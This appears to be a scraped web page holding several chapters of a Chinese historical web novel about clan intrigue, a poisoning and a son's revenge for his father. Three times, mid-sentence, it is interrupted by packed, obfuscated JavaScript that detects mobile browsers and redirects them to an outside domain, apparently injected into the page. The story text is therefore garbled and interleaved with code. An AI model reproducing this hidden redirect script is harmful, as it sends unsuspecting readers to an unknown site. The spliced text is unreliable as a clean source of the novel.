赵金镝早就耐不住,冷哼一声,开门见山道:“齐二公子,你们齐家曾许我庐江刺史之位,如今的情形似乎与齐二公子当初所言大不相同。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456106|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅拓跋雄在庐江城大败,就连宋海晏都要从洛阳回来了,事在燃眉,齐二公子此刻还有心情在此饮酒?” 齐椽脸色也沉了下来,他缓缓坐直身体,说道:“赵将军这是在质问我吗?当初我不过是向赵将军提了一个小小的建议而已,我可未曾拿刀架在赵将军脖子上,逼你背叛旧主,害死宋寒章——” “你——”赵金镝额角青筋暴起,右手已按上刀柄,“齐椽!你当我赵家是任你随意摆弄的棋子不成?” “莫要生气,赵将军,凡事皆有意外。齐家计划失当,我向赵将军赔罪。”他站起身来,亲自斟了一杯酒,置于案前,声音也缓了下来,“拓跋雄无能,中了宋碧棠的诡计。那见血封喉的蛇毒也未能取宋海晏的性命。计划出了差错,便该设法补救,我今日邀请赵将军前来,就是想要商议出一个方略,解决眼前的麻烦。你这般发火,便能解决问题吗?” 赵金镝见齐椽退让,心中之火略略消了一些。他明白如今要解决问题,还得仰仗眼前之人,便勉强压下心中焦虑,问道:“那齐二公子想怎么补救?” 齐椽不紧不慢道:“当务之急,唯有让令郎与我侄女尽快完婚。你我两家既成姻亲,何长龄和宋海晏看在我齐家的面子上,想必不敢对你们赵家怎样。当然,淮南地界你们赵家是呆不下去了,只能举家迁往江左。到了那里,我们江左齐氏自会护你们周全。” 赵金镝听闻此言,脸色骤变,“齐二公子想要我抛弃祖宗基业?” 齐椽神色淡然,说道:“赵将军,留得性命在,又何愁不能东山再起?我齐阀一门两后,难道还保不住你赵家一门富贵吗?” 赵金镝心中愤懑,却又无可奈何。 当初一步走错,以至满盘皆输,竟连祖宗家业都保不住了。 倘若上天再给他一次机会,他定然不会听信这位齐二公子的鬼话。一切都已为时太晚。举家迁往江左,日后他便只能处处看齐阀的脸色行事了。可若不接受齐家的条件,连阖族性命都难以保全。 他眼神晦暗,心中恨不得将眼前人生吞活剥,脸上却不得不挤出一抹笑容,装作满意道:“如此,我赵家日后便仰仗齐二公子了。” “好说了。你我两家是儿女亲家,何必客气呢?”齐椽身体前倾,伸出手来,“对了,不知婚书赵将军带来了吗?你将婚书交给我,我这便去寻个黄道吉日,送侄女过来与令郎完婚。” 赵金镝咬了咬牙,从怀中拿出婚书,递了过去。齐椽接过婚书,眼中闪过一丝不易察觉的微笑,他将婚书打开,仔细看了一遍,确认无误之后,才小心收好,他端起酒盏,道:“请赵将军饮一杯热酒再走,请放心,有婚书为凭,我江左齐氏绝不背约。”说罢,他将酒杯置于唇边,一饮而尽。 赵金镝坐了一晚,此刻也觉得口渴难耐。想齐椽亲自斟酒,又满饮一杯,自己如果不喝,岂非显得气量狭小?他举起酒盏,将杯中酒饮尽。 他掀开门帘,一阵寒风扑面而来,他不禁打了个寒颤。他走下画舫,借着黯淡的月光,瞧见岸边倒着几具尸体,仔细一看,正是他先前带来的部曲。 他心中涌起一股不祥的预感。就在此时,忽然觉得一阵剧烈的腹痛,方才吞下的酒液在肺腑间翻腾,仿佛有千万根钢针在肚中搅动。 临死之前,他终于意识到齐椽今日相邀,并非是想帮他解决眼前的麻烦,而是想要拿回那封婚书。他与齐氏密谋之事,实属机密,他连儿子都不敢告诉。只要拿回那封婚书,便不会有人知道宋寒章之死与江左齐氏有关。 他死之后,齐氏非但不会庇护赵氏一族,反而会推波助澜,将所有的事情都推在赵家的头上。赵家唯一的出路就是将婚书交给宋家,言明一切都是齐阀从中擘划,自己以死谢罪,再托陆元恺求情,或许可以保全两个毫不知情的儿子。 可是这唯一的解法刚才被自己走死了。 他双手捂住腹部,口中吐出一口鲜血。 他的身体摇晃了几下,“扑通”一声倒在地上,气绝身亡。 47. 第二十九章 怒龙脱缰 第二天一早,赵鹤年发现父亲死在他自己的房中,桌上放着一壶酒。 父亲死得蹊跷。他正要调查父亲的死因,听家中仆人来报,说如今寿春城中,谣言四起,传得有板有眼,道是赵金镝妄图取代宋寒章成为庐江刺史,因而勾结拓跋雄,暗中使计,害死了宋寒章。从赵金镝如何截留斥候情报,如何建议宋寒章于鸬鹚泽设伏,又如何在宋寒章的兵器上暗做手脚,致使其命丧拓跋雄刀下,桩桩件件,皆说得绘声绘色,仿若亲眼所见。 更有传言道,赵金镝的阴谋已被宋家知晓。如今宋家已然扣押了赵家次子赵松声,宋海晏正率军回庐江,此番归来,头一件事便是要拿赵家开刀,为父报仇雪恨。 赵鹤年呆坐于地。 寿春城中人人自危。赵氏耆老不断找上门来,要赵金镝给一个交代。他们见到赵金镝的尸体和毒酒后,对传言不再怀疑。赵金镝事败畏罪自杀,眼见大祸临头,很多人开始收拾家私,准备逃亡避难。 赵鹤年惊惧不安,将自己关在房内,整日闭门不出。八月初五日,当宋家大军进入寿春城时,赵氏家仆发现赵鹤年已自缢而死。 大军入城,围住了赵家大宅。赵氏宗族中一位八十一岁的耆老站在门口,颤颤巍巍地领着宋海晏、何长龄、陆元恺、陆思明等进入院内。 赵氏父子的尸体并未收敛,而是蒙上白布,摆放在地上。 主楼之中,放着一具漆黑棺木,其上饰有金纹,棺木前设着供桌,白烛摇曳,中间供奉着一座牌位,上头端端正正写着“大将军宋寒章之灵位”九个大字。 主楼之外,赵氏宗族之人跪了一地,全部面向宋寒章的棺木长跪顿首,嘶嚎痛哭。 赵氏耆老在家仆的搀扶下,在宋海晏面前跪下,涕泪横流,哭泣道:“宋公子,当日大将军战死后,遗体由赵金镝带回,在此处设了灵堂,日夜祭奠。赵金镝父子自杀之后,我等知其大罪,也不敢擅自为他们收敛,只能将他二人的尸首置于院外,好叫他父子在九泉之下亲自向大将军赔罪。我等知晓赵金镝所作所为天理难容,万死莫赎,可我等赵氏族人,事先实在毫不知情,经此一事,我赵家也没脸再在淮南之地待下去了……” 赵氏耆老连连磕头:“求宋公子开恩,容我等携带家眷,离开寿春……” 耆老哭得肝肠寸断,跪在地上的赵氏族人也跟着哀哀而哭,“求宋公子开恩,容我等携带家眷,离开寿春……” 宋海晏脑子里嗡嗡作响。 门阀之间的斗争,从来都是一朝失计,九族俱灭。 按赵金镝所为,他就算屠戮赵氏宗族,也没有人会说什么。可赵氏父子竟然先后畏罪自杀,这位赵氏耆老以八十多岁的高龄,在他面前苦苦哀求,不过拼了自己一条老命,为剩下的赵氏族人求一条活路。 他心中到底生出一丝不忍之心。 他闭了闭眼,提气喝道:“给你们两天时间,收拾自己的东西离开,永远不许再回来。” 何长龄目光中流露出不赞同的神色,语气加重:“阿晏——” 宋海晏知道舅舅的意思,父亲死于赵金镝的背叛。他到寿春之后,要做的第一件事就是拿赵家开刀,一为复仇,二为立威。 后者比前者更重要。 狮群的狮王死后,继任的雄狮需要威慑其他狮子,证明自己有领导狮群的能力。夷灭赵氏一族是最简单的方法,但他觉得并不一定需要以这样的方式。 他没有去看自己的舅舅,以森冷目光瞥向跪在地上颤抖的人群,冷声道:“还不快滚——” 赵氏族人如蒙大赦,屁滚尿流地离开。 宋海晏艰难地走入灵堂,在父亲的棺材面前双膝跪下。 他俯身长拜三次,站起身来,掀开棺材,瞻视父亲的遗体。忽地,他瞳孔骤缩,整个人摇摇欲坠。 “阿晏——”陆思明见状大惊,连忙上前扶住宋海晏,他看了一眼棺材里的情景,心中骇然,厉声喝问道:“宋将军的头颅呢?” 一名赵氏家仆战战兢兢在一旁跪下,声音颤抖:“当日……赵大人带回宋将军的遗体时,就没有头颅……听说……听说大将军的头颅被……被拓跋雄割下……带走了……” 这话如同五雷轰顶,宋海晏只觉双目刺痛,眼眶之中,竟缓缓渗出血来。想不到父亲惨死,竟连遗骨也未能保全。他声音撕裂:“拓跋雄现在何处?” “听……听说拓跋雄兵败庐江城后……已经向北而逃……可能……可能是回邺城了……” “阿晏,你……”陆思明知道情况不对,正要挟住宋海晏时,对方已经重重甩开了他的胳膊。等他回过神来,宋海晏已不在原地,只瞧见一道残影,如疾风一般向外奔去。 陆思明追到赵家大宅门口,只见一人一马,如怒龙脱缰,向北疾驰而去。 何长龄和陆元恺也匆匆赶到门口,陆思明声音焦急:“何都督,阿晏现在冲动之下,可能去找拓跋雄报仇,我们要不要将他追回来?” 何长龄长身伫立,凝望着北方渐散的烟尘,沉声道:“让他去。” 陆思明急道:“如今大军撤退,淮北已经重新落入北魏掌控之中。他孤身前去,岂不冒险?” 一旁,陆元恺摇了摇头,“思明,阿晏是宋家长子,肩负着重振家族的大任。可淮南乃四战之地,宋家又刚刚经历这场灭顶大劫,内忧外患,人心惶惶。他若不能手刃仇敌,又如何能慑服人心?将来,又该如何统领众将,守住这一郡之地?” 他轻轻叹息,“况且,你舅父以身殉国,最终也须得有个全尸才能下葬啊……” 陆思明犹自担心:“可是……” 何长龄望着天际盘旋的孤隼,声音铿然:“苍鹰若惧折翼,终非九天之主,若他死在北方,便是宋家命数如此——” *** 孙子曰:“兵者,国之大事也。” 大楚元宁初年的这场兵事,自二月初九日齐韶在太极殿提议兴兵北伐为始,到七月二十五日三路大军自洛阳城下撤退,历时整整半年。 国库赀币消耗一空,石头津外又多了不少流民。然而,南人并没有得到他们称颂已久的名都洛阳,这场倾尽举国之力的战争最终无功而返。 八月初三,东路军统率齐栋和西路军统率何长龄的奏表几乎同时送达京城,先落在中书令魏膺之的案头,又落在皇帝御书房的桌上,最后出现在椒房殿太皇太后齐明霜的手中。 在齐栋的表章中,这场战事失利的罪魁祸首是何长龄。东路大军已经攻入洛阳城中,是何长龄先行退兵,拒绝救援,东路军孤立无援,以致惨败。 在何长龄的奏报中,战败之因在于齐栋贪功冒进,以致深陷重围、损兵折将。自己当晚突发恶疾,无法救援。第二日自己正要进兵时,东路大军已然撤退,自己不得已才跟着撤退。 两位主帅在战后互相推诿,意图将战败的责任推卸到对方身上,却没有一言一语提到由宋家父子率领的中路大军。 宋家迄今未有奏报上奏朝廷。但宋家之事在金陵城中早已传得沸沸扬扬。北魏拓跋雄部趁宋家大军北上之际,突袭庐江,一场大战之后,宋寒章战死,庐江城毁于战火,又说宋海晏又在洛阳城受了箭伤,差点丧命。若是宋海晏也身亡,宋氏门庭不免要衰落下去,大楚朝廷的格局或许就要改写了。 朝野内外,众说纷纭。 八月初七。 白露。 秋风渐起,华林园中的草木泛起苍茫秋色,御道两旁梧桐落叶飘洒,湖心之中秋波袅袅,更添秋愁。 太皇太后齐明霜自午后开始垂钓,然今日不知怎地,枯坐半个时辰,竟不得一鱼。太皇太后觉得鱼竿用得甚不顺手,便命平常随侍钓鱼的內监冯大用往内库寻备用的鱼竿来。冯大用忙不迭地去了。 太皇太后站起身时,身形趔趄,差点栽倒在地,一旁的萧含光连忙将她扶住,搀至湖心亭中的矮塌上坐下,又命内侍们置下屏帐,以免太皇太后受风。 今年夏天以来,太皇太后的身体便愈发不好了,太医言太皇太后思虑太重,需少思多睡,方得养生延年。然国事艰难,又怎能得闲? 宫女为太皇太后净手、拭面,又进了热茶,齐明霜饮了一口,见中书侍郎齐韶抱着一沓案卷,匆匆穿过廊桥,走入湖心亭中。 齐韶在矮塌前跪下,参拜太皇太后、皇帝之后,入席坐下。 齐明霜的目光落在他手中案卷之上,问道:“齐韶,情况如何?” 齐韶抬起眼眸,道:“这几天,太皇太后散布在各军中的眼线陆陆续续都有消息传回,微臣经过梳理、排除其中自相矛盾和错误的信息之后,大致认定洛阳城下的情况应该是这样的……” “七月十六日,宋何两军一起攻克洛阳南边的伊川。七月十九日,齐栋率军攻克洛阳东边的偃师。七月二十一日,三路大军一起围住洛阳,开始攻城。七月二十四日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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齐韶脸色一变,声音颤动,不敢置信道:“太皇太后,这件事难道真的和司徒公有关?” 太皇太后扶着额头缓声道:“十八年前,闽中的山越人作乱,先帝亲征,齐鸿领兵跟随。山越人中有一位首领,擅长使用弓箭,三十丈以内,箭不虚发,箭尖上淬有剧毒,其毒源自百越山间的珊瑚蛇毒,中毒者十不存一,就算侥幸未死,也往往麻痹多日才得以清醒。此人一度对我大楚将士造成巨大威胁,好在先帝神武,最终平定叛乱,战后此人被俘,由齐鸿负责关押。一日,此人从牢中失踪,先帝未做深究,现在想来,此人应该是被齐鸿带走了……” 太皇太后目中射出冷光,“想不到齐鸿竟能做出在两军阵前射杀己方大将的事来。齐韶,你说,拓跋雄攻入庐江,宋寒章战死,这些事是不是也和齐家有关?” 齐韶神色晦暗,他低垂着头,“根据各方消息来判断,齐栋大军西进的路线和拓跋雄南下的路线交叠,两军错身而过。如果齐栋能拦下拓跋雄大军,宋家便不会有庐江被焚之难。其他之事,臣不敢妄自猜测。” 太皇太后心头涌起深深的疲惫之感,齐韶说得委婉,只是缺少实证而已。然彼此敌对的两军交错行军竟能相安而过,本身就已接近实证了。若宋家倒下,齐氏掌控淮南,天下间便再无人能挟制齐家的野心。 她挥了挥手,道:“你们先下去吧,哀家想一个人静一静。”萧含光和齐韶一同起身,行礼之后退下。 齐明霜一人独坐亭中。秋风拂动,一枚枯黄的梧桐树叶落在她的衣襟上。她拾起梧桐树叶,凝视着上面斑驳的裂纹。 她十六岁在乱军之中第一次见到先帝萧胥,十七岁嫁给他,三十二岁成为一国皇后,到如今六十六岁,成为太皇太后,掌握大权。 那时侯,她青春不再,仍是意气风发。她齐明霜要建立无上的功业,她要北伐中原,还于旧都,做到两百年前没有人能做到的壮举。 现在,她觉得自己的心随着北伐的失败,也一起衰朽了。 她失败了。 她败给了自己。 她花了整整五十年的时间,一手将齐阀从江左的普通世族扶持成为如今南朝的第一门阀。 然而,到最后,齐阀并非她的助力,而是她的敌人。 她付出了偌大代价,最终扶持出了大楚一朝最大的国贼。 她以为自己运筹帷幄,掌控一切。但人心不可掌握,甚至不可琢磨。 冯大用取回新的渔具,见太皇太后一人坐在湖心亭中,他连忙将鱼钩上饵,奉到太皇太后身前,奏道:“太皇太后,鱼竿已经备好了,太皇太后可还要继续垂钓?” 太皇太后摆了摆手,声音疲倦:“不必了,将内库中的渔具都毁了吧……” 冯大用几乎不敢相信自己的耳朵:“毁了?” 太皇太后叹了口气:“哀家衰朽,从此之后,不再钓鱼了。” 48. 第三十章 立誓秋风 秋风飒飒,湖畔的芦苇在风中瑟瑟抖动,白色的芦花飞扬,仿若落雪。 萧含光步履沉重,脚下的断枝被踩断不少,发出吱呀吱呀的声响。 她在太皇太后面前不敢过于表露情绪,并不代表她不会哀伤,不会不平。 宋海晏没有伤在敌人的手中,而是险些命丧在自己人的箭下。大楚倾尽举国之力的一场大战以这般潦草的方式收场。他们之间还有洛阳之约,如果宋海晏没有受伤昏迷,他一定不会同意这样草率退军,北伐之战或许会有不一样的结果。 一支冷箭让所有人的努力化为徒劳。 她愤怒不已,但她的愤怒也是徒劳的。 始皇帝曰:“天子一怒,伏尸百万,流血千里”,她身为天子,却对自己心中不断累积的情绪无可奈何,只能任它们在心腔深处蔓延,沉甸甸如同一块巨石,让她几乎不能喘息。 忽地,萧含光停下脚步,回头看向一直跟在她身后的齐韶,不甘地问道:“齐韶,你说,如果没有那一箭,楚军是否已经攻入洛阳?” 齐韶没有回答她。他神游物外,没有注意到皇帝已经停下了脚步,也没有听到皇帝的问话。他如同行尸走肉一般,径直向前走,撞上了前面一棵高大的梧桐树。 额头传来一阵钝痛,身体的疼痛将他从茫然的思绪中拉出来,他看到皇帝担忧地看着他:“齐韶,你怎么了?” 齐韶触了触额头,“只是一时失神,臣无事。” 萧含光将刚才的问题重复一遍:“齐韶,如果宋海晏没有中箭,楚军会不会已经攻入洛阳?” 齐韶微微一怔:“或许吧。”他似乎忽然想到什么,躬身道:“陛下,臣有事要出宫一趟,先告退了。”他后退三步,转身离开。他穿过花木幽深的园林,走上御道,步子越走越快,很快消失在萧含光的视野之中。 萧含光伫立原地,眉尖轻蹙。 *** 一切已经发生的事,都没有如果。 齐韶站在石头城的巍峨城关,向北眺望时,他如是想。 人总是会在一件事情发生之后,设想如果事先如何如何做,或许便可得到一个不一样的结果。站在命运之前,没有人知道自己将面对的是什么,只能在事后,将一切归咎于天意如此。 他从前并不相信所谓天意。 洛阳荀氏累世治经《荀子》。《荀子》有云:“智者明于事,达于数。”他从前深信此理,认为南人未能光复中原,在于缺少真正有智慧的国君和大臣,以致国土沦丧,无力兴兵北伐。 现在,他发现自己错得离谱。 南朝的衰败,并不在国君或者大臣们失智,恰恰在于聪明人太多了。 庄子在《人间世》中说:“德荡乎名,智出乎争。名也者,相轧也;智也者,争之器也。” 二者凶器。 南朝的世家们比北方未开化的蛮夷们拥有更高深的智识,他们用这些与自己人相争,彼此倾轧,最后胜不过蛮夷们的直刀快马。 当初,他为了寻求一个答案,来到江南。 而现在,他得到那个答案了。 秋风乍起,拂动他的广袖长襟,不知何处吹来木叶,萧萧而下。 他忆起洛阳的秋色,心中生出绝望来。他想,也许他此生再也无法回到故乡了。 身后传来脚步声,齐韶转身回头,照见冕旒白玉珠后天子一双盈亮的眼。 他微微一惊,连忙躬身:“陛下,您怎么来了?” 萧含光示意他平身,她走到城关前,远眺一江秋水,“齐爱卿匆匆离开,朕听宫门的禁卫说,你出宫之后,向西去了,朕猜你应该是来了这里。” 齐韶轻声道:“陛下,臣只是思乡,所以来这里看看,并无什么事。” 他的声音平缓,脸色也如古井无波。 但萧含光知道他心里并不像表面看起来这般平静。他下午伴君时,竟然没有听到她说话,还走路撞树,她从没有见过他如此失态。 北伐失败,不仅是她,太皇太后和齐韶对这场战事也寄予厚望,最后得到了这样的结果,谁又能够甘心。 萧含光觉得自己应该做点什么,所以跟着齐韶来到这里。 她是大楚的国君。 尽管一开始她并不愿意,但当她穿上了帝王的冕服,坐上了太极宫的御座,文武百官对她三呼万岁,她便是一国天子。这场失利,她该负起责任来。 她应该自己为心中的愤怒寻找出口,而不是怨于天,尤于人。 她将心定了定,道:“齐韶,北伐失败。朕知道你心中必定失望,但你有没有想过,你心中所想的,也许并不是正确的答案?” 齐韶眉眼一动:“陛下所言何意?” “你现在得到的这个答案是齐家给你的,并不是朕给你的。而朕,才是大楚的皇帝,只有朕,才有资格给出最终的答案。” 萧含光微微侧身,面向齐韶,“半年前,我们第一次来到石头城。齐爱卿曾对朕言,如果北伐功成,万民人人得以安居,家家能得圆满。这是天下间最无上的功德,你希望朕可以成为这样的君主。那时朕心意彷徨,并没有给你答案。现在,朕可以给你答案——” 齐韶身躯一震。他抬起眼眸,见萧含光凝视着他的眼睛,语气极是认真:“齐韶,七年之前,太皇太后向你承诺,终有一天收复长安、洛阳两都,恢复荀氏宗祠,让你可以在洛阳祭祀荀氏列祖列宗。现在朕也可以向你承诺,朕若当政,此诺不变——” 少年天子背倚雄关,万里沧流从她脚下滔滔而过。 她声音清越,有如剑鸣,“齐韶,朕不相信人心晦暗如此。世间大道三千,其中自有光明道,你可愿继续前行?” 齐韶静静凝望着眼前的少女。 半年多之前,她是那般柔弱,如风中蒲苇,随便一阵风便能令之倒伏。 但现在,她已足具真正的帝王之姿。她发言吐声之时,足以振聋发聩。 他心中动容,躬身长拜,如同半年前一样。 “臣将效死,助陛下成为真正的天下之主。” *** 黄昏暮色之中,拓跋雄带着五名亲卫,避开人烟稠密之处,沿着太行山道向西而行。 一个多月前,他还是坐拥数万大军的一镇诸侯。当他率军南下时,是何等的威风赫赫,而在鸬鹚泽大胜,斩下敌人头颅时,又是何等的顾盼自雄。 然而,这一切都因庐江城中的那场大败全然改变了。 当日,他率领数千人的残军从庐江城中脱出,舍弃所有的辎重、粮草,仓皇北逃。他本想率军回邺城,谁知,半路传来消息,北魏皇帝拓跋睿得知他孤军深入、大败于庐江的消息之后,极为震怒,下令革去他邺城太守的职务,还要将他押送洛阳问罪。 第二天晚上,他的部将发动叛乱,想要擒他回洛阳,以将功折罪,最后他带着亲卫浴血奋战,方才杀出重围。曾经的一镇诸侯,如今急急如丧家之犬,惶惶如漏网之鱼,疾行于荒野之中。 拓跋雄决定翻过太行山,回到自己的老家平城,那里靠近塞北的草原。鲜卑一族原本游牧于漠北,只要能回到草原之上,未必不能东山再起。 山道崎岖,不远处的山腰上出现一座荒废的佛寺。拓跋雄停马,对亲卫道:“今晚就在那座野寺中宿营。” 一行几人到达野寺时,天已彻底黑了下来。 拓跋雄吃过干粮,坐在草席上,打开随身携带的木头匣子。他从木头匣子里拿出一颗人头,将之放在窗棂上,就着黯淡的月光,与死者临死前惊惧的眼神相对视。 杀死宋寒章实乃他过往人生中最畅快之事。他砍下这颗头颅,用生石灰保存得很好。只有夜深人静之时,才拿出来一个人静静欣赏。 每次看到这颗头颅,他都会热血沸腾,仿佛他仍然是那晚在鸬鹚泽大胜的将军,而不是荒野夜行的失意之人。 他拿出酒囊,灌了一大口烈酒,辛辣滋味在唇齿间燃烧,驱散深秋寒凉。他重新将头颅收入匣中,卧在草塌上休息。 忽地,野寺之外,传来一声沙哑的鸦啼声,那叫声如同锈刀刮骨,一声未歇一声又起,在荒山古刹间层层叠叠地回荡着。 一旁的亲卫打了一个寒颤,自入太行山道以来,他们每晚都会听到诡异的乌鸦啼叫,吵得人无法安睡。一开始,拓跋雄每次都会派出亲卫去寻找那扰人清梦的乌鸦,可是派出去的人没有一个回来的,甚至连后续找人的亲卫都没有回来。 后来,拓跋雄干脆不管鸦啼声,可他们的人仍然每晚都会失踪。他们一行原有四五十人,到如今只剩下最后六个人。 一到晚上,这乌鸦的叫声就像催命符一般。一旦出现,必有人身亡。 亲卫看着装着人头的木匣,哆哆嗦嗦道:“将军,中原人的说法,听到乌鸦的叫声,就一定会有灾厄发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470664|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。要不咱们将这颗人头扔了吧。属下想,是不是因为宋寒章死后有灵,鬼魂作祟,化作乌鸦来找我们报仇……” 拓跋雄冷眉一竖,斥道:“鬼神之说,实属子虚乌有,不过就是一只乌鸦,有什么可怕的。”他拿起弓箭,又将那装着人头的匣子系在腰带上,“今天本将军□□了这乌鸦,烤了下酒……” 他走出山寺,听到鸦啼声从远处的一棵杨树后传来。他酒意上头,大步朝那棵杨树走去。 深秋时节,树叶早已落尽,他朝树上看去,只有光秃秃的枝杈,映着一勾冷月,哪有什么乌鸦。他叫骂了一声,便往回走。就在此时,鸦啼声从更远的树后传来。 拓跋雄察觉不妙,猛地回头,一支冰冷的箭矢穿透暗夜,穿透了他的胸膛。 一个黑衣蒙面的男人从树后走出,月光映照之下,他的一双眼眸血红,如同从地狱里走出的恶鬼。拓跋雄从他身上感受到了死亡的气息,想来自己的亲卫之前都是悄然死在他的手上。 胸口锐痛,鲜血涌出,拓跋雄踉跄一步,靠在树上。他感觉自己的生命正在飞速流失,喃声问道:“你是谁?” 男人扯下脸上的黑布,他的脸坚硬得像青金石:“庐江宋海晏,为取你性命而来。” 拓跋雄瞳孔一震:“宋寒章的儿子?” 宋海晏没有回答,他抽出腰间的长剑,抵在后者的脖子之上:“你割下我爹的人头,我也割下你的人头,这很公平。” 冰冷的剑锋压住颈脉,死亡近在眼前,拓跋雄大喊道:“等一下,我有话要说。” 宋海晏冷声道:“你还有何遗言?” 拓跋雄张口喘息道:“你难道不想知道害死你父亲的真正元凶吗?” 宋海晏道:“杀死我父亲的不就是你吗?战场杀人,天经地义。我杀你报仇,同样也天经地义。” 剑锋再进一寸,鲜血顺着脖颈流下。 拓跋雄伸出右手,他用最后的力气,抵住剑锋,大声道:“宋海晏,人是我杀的没错,但我并非元凶……害死你父亲的是,是江左齐氏的二公子齐椽……齐阀许诺,我若杀了宋寒章,可以在庐江劫掠三天……” 剑锋一顿。 死神抬头,死死盯住他的眼睛:“证据呢?” “没有证据……”感觉剑锋前压,拓跋雄继续道:“齐家做事,怎么会留下证据?那赵金镝什么身份,若非齐氏许以重利,他怎么敢背叛旧主,在你父亲的兵器上做下手脚……若非有齐阀从中勾连,我怎么敢无视他们一路大军,孤军南下,直指庐江呢?” 拓跋雄的语速越来越快,疼痛让他的表情愈加狰狞:“我死不足惜,你难道要放过真正的凶手吗?” 宋海晏眸中射出冷光:“你为什么要告诉我这些?” 拓跋雄咬牙,嘶着凉气:“因为我要报复你。” 宋海晏一愣:“报复?” “你们南人不是想要北伐吗?我听说,在三路大军的主帅中,唯有你宋海晏对此最是积极。我告诉你这些,你难道不想搞垮齐家,为父报仇吗?” 鲜血不断从唇间滑出,拓跋雄一身衣袍已看不出原本的颜色,他眼神渐渐涣散,但他仍艰难吐声:“我拓跋雄整整四万人马,折损在庐江城中……你们宋家毁了我的一切,所以我也要毁了你的痴心妄想。我要在你心中埋下仇恨,将来你宋家必定会与齐阀相争,门阀内斗,你死我活,不是你们南朝人最擅长的事吗……” “……只要这仇恨之火燃起来,你们南朝便再没有北伐成功的机会……这就是我的报复……哈哈哈哈……” 拓跋雄大笑起来,他的笑声越来越嘶哑,越来越癫狂,最后戛然而止。 剑锋刺入脖颈,他最后听到死神冰冷吐息:“你错了,魏都洛阳和江左扬州,我全都要……” 鲜血流入沃土,拓跋雄的尸体如同一滩烂泥倒在地上。 宋海晏伸手,从拓跋雄腰间解下木匣。他跪在地上,打开木匣,看向那双未曾瞑目的眼睛。他伸出手抚过死者的眼睑,那双目缓缓闭上。 远山轮廓溶入靛青色雾霭,冷寂月光似被冻住的银箔。 宋海晏将木匣紧紧抱在怀中,无数难以言说的情愫慢慢融入他的骨血。 秋风寒瑟,他的身体微微颤栗。 父亲死了,他从此不再拥有儿子的身份。 从今之后,他是庐江的主人。如舅舅所言,他要立起门户来。 49. 第三十一章 我心匪石 元宁元年的冬天来得格外早些,十月初六,庐江城就下了第一场小雪。 细雪如盐粒般簌簌落下,沾在焦黑的城垣上便化了。枯苇秆上积着薄霜似的雪沫,被风一吹,散如雾霭。 物换星移,时序改易,很多事情也将永远改变。 比如时局,比如人心。 青史在不知不觉中翻开了新的一页。 当宋海晏抖落一肩风雪,进入庐江城时,三军列阵,迎接这位长驱千里为父复仇、载敌首级而还的少年将军。众将膺服,百姓交口称颂。 庐江城在战火中被焚毁,经过两月时间,已差不多清理完了断壁残垣,无数的砖石、木料被运入庐江城,重建城垣和民居。 位于庐江城北的宋家主宅,自然是重建工程的重中之重。经过工匠们两个月的修缮,主楼已经焕然一新。那块“积韧千秋”的牌匾在大火中竟未被焚毁,只边缘处略微焦黑。宋碧棠亲执漆刷,为牌匾刷上一层清漆,重新悬挂在明徵堂的牌楼上。牌匾上的字迹经火焚之后,如苍松傲骨,更显峥嵘。 宋寒章的灵柩早前已从寿春运回,宋海晏从北方带回其头颅之后,又在明徵堂为父守灵七日,然后择吉日入葬。 十月十一,宋氏大宅中迎来了一位不速之客——黄门郎冯大用。 这位来自金陵宫中的天家使者一路风尘仆仆,面容憔悴却神色肃穆,双手捧着明黄绢帛的圣旨,在宋氏家将的引领下踏入明徵堂。 宋海晏跪在堂前,听冯大用宣读了皇帝颁下的圣旨。朝廷感念宋寒章之忠勇,追封太尉,谥号忠烈,令长子宋海晏继任庐江刺史,镇守淮南,保境安民。 宋海晏领旨谢恩之后,将冯大用迎入内堂奉茶,又命人设宴款待。 他从前在金陵时,对宫中人事也略知一二,这冯大用是太皇太后身边的心腹内监之一。此番圣旨虽由皇帝颁下,想来多半是太皇太后的意思。宋海晏无意同宫中内监多作逢迎,草草陪过酒宴,便起身告辞,命人引冯大用往客舍安歇。 “宋将军留步。”冯大用想起此行的另外一桩任务,急忙自席上起身,说道:“今岁八月,太皇太后迁出椒房殿,移驾永寿宫颐养,将国事尽托付陛下,小人如今在陛下跟前听差。三日前,陛下听闻将军千里追敌,斩下拓跋雄首级的捷报,当即亲手写下诏书,钤上御玺,命小人前来传旨。此外,陛下还特赐一物,嘱小人私下交付将军。” 宋海晏闻言,脚步一顿,抬手示意侍从尽皆退下。 冯大用趋步上前,从袖中取出一只狭长的檀香木匣,躬身双手呈上,道:“陛下让小人问将军一句话,‘此心依旧,问将军之心?’” 宋海晏接过木匣,撕开封条,启开匣盖,但见素白绸布之中,裹着一缕青丝。那头发乌黑如墨,柔顺似缎,隐隐还萦绕着若有若无的少女幽香。 宋海晏呼吸一颤。 他自然知道这是谁的头发。 去年在药师庵,他双眼复明时,见到阿幸第一眼,便见她风鬟雾鬓,立在梨花树下,含着清露般的哀愁。 后来,在献俘仪式那一晚,他夜入正光殿,从阿幸头上拔下一根头发,同她立下洛阳之约。 现在,她命人送来了自己的一缕头发。 ——此心依旧,问将军之心? 宋海晏阖上木匣,轻轻闭上双眼。 …… 